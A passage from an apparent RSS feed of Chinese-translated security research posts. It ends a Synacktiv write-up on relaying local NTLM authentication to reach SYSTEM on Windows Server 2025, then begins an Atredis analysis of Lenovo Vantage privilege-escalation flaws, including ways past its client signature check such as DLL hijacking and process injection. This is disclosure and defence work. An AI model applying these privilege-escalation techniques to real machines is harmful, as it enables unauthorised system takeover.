0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012231" data-s="300,640" data-type="png" type="block" style="height: auto !important;" data-ratio="0.524074074074074" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ea1b3f5c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSha0MRicZFAmRiby1ics8x7e8vNXF8PZ7klvWFu4qwMsBJJ1E6NDHsP01hHXde6SlbyZyTSMBlI3UcaCwjOjCv3bjrE7eiahTsz3RQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">NTLM 本地反射的步骤二。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">为构建一个可用的 PoC，我们使用了以下工具：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">Impacket 的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">smbserver.py</span></code><span leaf="">:用于在自定义端口上启动一个 SMB 服务，接收特权的 NTLM 本地认证 blob，并将其转交给中继服务器。我们对其做了少量修改，以便在挂载共享所用的同一条 TCP 连接上解析后续接收到的特权认证 blob。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">Impacket 的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ntlmrelayx.py</span></code><span leaf="">:用于将特权认证 blob 转发到机器自身真正的 SMB 服务，并以 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">NT AUTHORITY\SYSTEM</span></code><span leaf="">身份执行命令。</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">net.exe</span></code><p><span leaf="">:用于在指定 TCP 端口上挂载自定义的 SMB 共享。</span></p></li><li style="margin: 15px 0px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PetitPotam.exe</span></code><p><span leaf="">:用于强制 LSASS 向自定义 SMB 服务发起认证。我们对其做了少量修改，使其能够在本地工作。</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">该漏洞被分配了 CVE-2026-24294 编号，并已在 2026 年 3 月的 Patch Tuesday 中修复。这一攻击场景在 Windows Server 2025 上默认可用，但在 Windows 11 24H2 上则不行，因为后者强制启用了 SMB 签名。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">结语</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在这第一篇博客中，我们回顾了 CVE-2025-33073 的关键要点，并交代了本次研究的背景。我们还描述了所遵循的通用绕过方法论，并立即将其付诸实践，从中归纳出两条可能产生有趣结果的主要攻击思路。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">随后，我们利用 Windows 近期版本中的一项新功能 ( 即可在任意 TCP 端口上连接 SMB 共享 ) 进行劫持，从而在最新版本的 Windows Server 2025 上实现了本地权限提升。与此同时，这也证明了我们最初对补丁不充分的怀疑是正确的：它并未触及问题的根源。本地认证可被中继的能力，至今仍让 Windows 机器处于危险之中。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在下一篇文章中，我们将探讨方法论部分提到的另一种攻击场景：寻找一种新的原语，以强制发起任意的 Kerberos 认证。我们将从对 DNS 的完全控制出发，逐步对该攻击向量进行打磨，最终得到一个完整的、可作为域用户实现的 RCE 原语，从而完成我们对 CVE-2025-33073 进行彻底绕过的探索之旅。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://www.synacktiv.com/publications/bypassing-windows-authentication-reflection-mitigations-for-system-shells-part-1.html">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ba363c3c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247495894%26idx%3D1%26sn%3D9508ebb52b48089bdc2d8cd2f8b7de9b">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 03 May 2026 21:25:00 +0800</pubDate>
    </item>
    <item>
      <title>揭露 Lenovo Vantage 权限提升漏洞</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247495870&amp;idx=1&amp;sn=9a6cdb825acfa5b89e8a93b76e828c9a</link>
      <description>Atredis Partners 对 Lenovo Vantage 权限提升漏洞的技术分析，涵盖 SQL 注入、注册表白名单绕过与 TOCTOU 三类漏洞 (CVE-2025-6230/6231/6232) 及其修复方案。</description>
      <content:encoded><![CDATA[<p><span>Bryan Alexander</span> <span>2026-05-01 17:05</span> <span style="display: inline-block;">中国香港</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=93a16566&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSia5EB8frgbmHbxJ7sAMNJnJSKnV0ZrlNOKvTG1QsLNQpcAiakIegiaQe3C3vvPJ89oibBotEJmpdBjDwtibVY3kNt23ffeazHqpQ7s%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>Atredis Partners 对 Lenovo Vantage 权限提升漏洞的技术分析，涵盖 SQL 注入、注册表白名单绕过与 TOCTOU 三类漏洞 (CVE-2025-6230/6231/6232) 及其修复方案。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://www.atredis.com/blog/2025/7/7/uncovering-privilege-escalation-bugs-in-lenovo-vantage" target="_blank">https://www.atredis.com/blog/2025/7/7/uncovering-privilege-escalation-bugs-in-lenovo-vantage</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Bryan Alexander</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这篇文章详细介绍了 Atredis 在 Lenovo Vantage 中发现的多个权限提升漏洞。Lenovo Vantage 是 Lenovo 笔记本电脑预装的常见管理平台。文章将深入分析 Vantage 的架构，以及架构设计对所识别逻辑漏洞的影响范围与缓解措施的意义。以下 CVE 编号用于追踪上述问题：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">CVE-2025-6230</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">CVE-2025-6231</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">CVE-2025-6232</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">相关补丁已于 7 月 8 日发布，修复了全部发现的漏洞 ( LEN-196648 )。文末附有完整的漏洞披露时间表。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Lenovo Vantage</span></h2><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">架构</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Lenovo Vantage 预装于联想笔记本电脑，提供设备固件更新、参数配置及系统健康维护等功能。其整体设计遵循模块化与可插拔原则：核心 Vantage 服务以 SYSTEM 权限持续运行，各插件按需动态加载与卸载。所有组件均以 C# 编写，这使得逆向工程的难度大幅降低——MSIL (Microsoft Intermediate Language) 具备良好的伪代码可恢复性，分析人员可高效还原源码逻辑。下图展示了其整体架构：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012184" data-s="300,640" data-type="png" type="block" style="height: auto !important;" data-ratio="0.45925925925925926" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1247f57f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nShCn23Xvx3wzibRlrNia61wk1jEDn0Tx2kGscMAY9K5TblruUBhOIprbZBzm5V4uTw2AbqcUoO5IPuABXWhs2piaicdUrz05UtK4yc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Vantage 服务启动一个 RPC 端点，供插件和 GUI 客户端连接并提交请求。值得注意的是，插件本身同样对外暴露 RPC 端点，并通过 RPC 与 Vantage 服务进行双向通信。请求报文采用 JSON 格式，结构如下：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">{</span><br/><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;contract&#34;</span></span><span leaf="">    : </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Target&#34;</span></span><span leaf="">,</span><br/><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;command&#34;</span></span><span leaf="">     : </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Command&#34;</span></span><span leaf="">,</span><br/><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;payload&#34;</span></span><span leaf="">     : </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;EncodedPayload&#34;</span></span><span leaf="">,</span><br/><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;targetAddin&#34;</span></span><span leaf=""> : </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Unused&#34;</span></span><span leaf="">,</span><br/><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;clientId&#34;</span></span><span leaf="">    : </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;12&#34;</span></span><span leaf="">,</span><br/><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;CallerPid&#34;</span></span><span leaf="">   : </span><span style="color: rgb(0, 92, 197);"><span leaf="">12</span></span><br/><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在实际分析中，我们观察到 Vantage 全程仅使用了前三个字段。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Vantage 服务负责将请求路由至已注册的插件。各插件通过位于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">%ProgramData%\Lenovo\Vantage\Addins</span></code><span leaf="">目录下各自根文件夹中的 XML 文件进行描述。以 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SmartInteractAddin</span></code><span leaf="">为例，它对外暴露三个合约：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">&lt;Contracts&gt;</span><br/><span leaf="">    &lt;Contract name=&#34;SystemManagement.SmartGesture&#34; /&gt;</span><br/><span leaf="">    &lt;Contract name=&#34;SystemManagement.PrecisionTouchPad&#34; /&gt;</span><br/><span leaf="">    &lt;Contract name=&#34;SystemManagement.VisionProtection&#34; /&gt;</span><br/><span leaf="">  &lt;/Contracts&gt;</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">除合约定义外，插件 XML 文件还包含其他运行时配置，例如事件订阅与签名块。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SmartInteractAddin</span></code><span leaf="">的配置如下：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">&lt;Addin name=&#34;SmartInteractAddin&#34; version=&#34;1.0.3.64&#34; isRollback=&#34;false&#34; secondaryServer=&#34;false&#34; noSWFlags=&#34;false&#34; armReady=&#34;false&#34; platform=&#34;MSIL&#34; runas=&#34;user&#34;&gt;</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">其中，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">runas</span></code><span leaf="">字段指定了插件的执行上下文。在 Vantage 支持的约 20 个插件中，有 5 个配置为在提升权限的上下文中运行。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">客户端向 Vantage 服务及其注册插件发起请求时，必须通过信任验证。Vantage 服务内置了一套基础身份验证机制，其执行流程如下：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012185" data-s="300,640" data-type="png" type="block" style="height: auto !important;" data-ratio="1.886111111111111" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=a2cfe6e9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSgeiauIhHs8wrr2ib5JfPficoEV8TfSicMj4CF6VqJG36950OUm7CL91To5h8l9icrgtT8gBpbC0fdr0ug6lSMdU6mqqJCslBQRhm6E%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">核心验证步骤是对客户端进程的数字签名进行校验。若程序集未由联想签名，则该客户端被判定为不受信任，请求随即被拒绝。这一策略被众多笔记本电脑厂商和软件供应商广泛采用，包括 Dell、Asus 和 Symantec，然而绕过该机制极为简单。我们迅速整理出三种可行方案：</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">利用常见的远程进程注入技术 (如 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CreateRemoteThread</span></code><span leaf="">)</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">定位某个从本地路径加载 DLL 的已签名联想二进制文件，执行 DLL 劫持</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">开发一个 UWP 应用</span></p></li></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">经过评估，第二种方案最为简便。我们最终选用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FnhotkeyWidget.exe</span></code><span leaf="">作为切入点，以获取对 RPC 端点的访问权限。该二进制文件会从本地路径加载若干 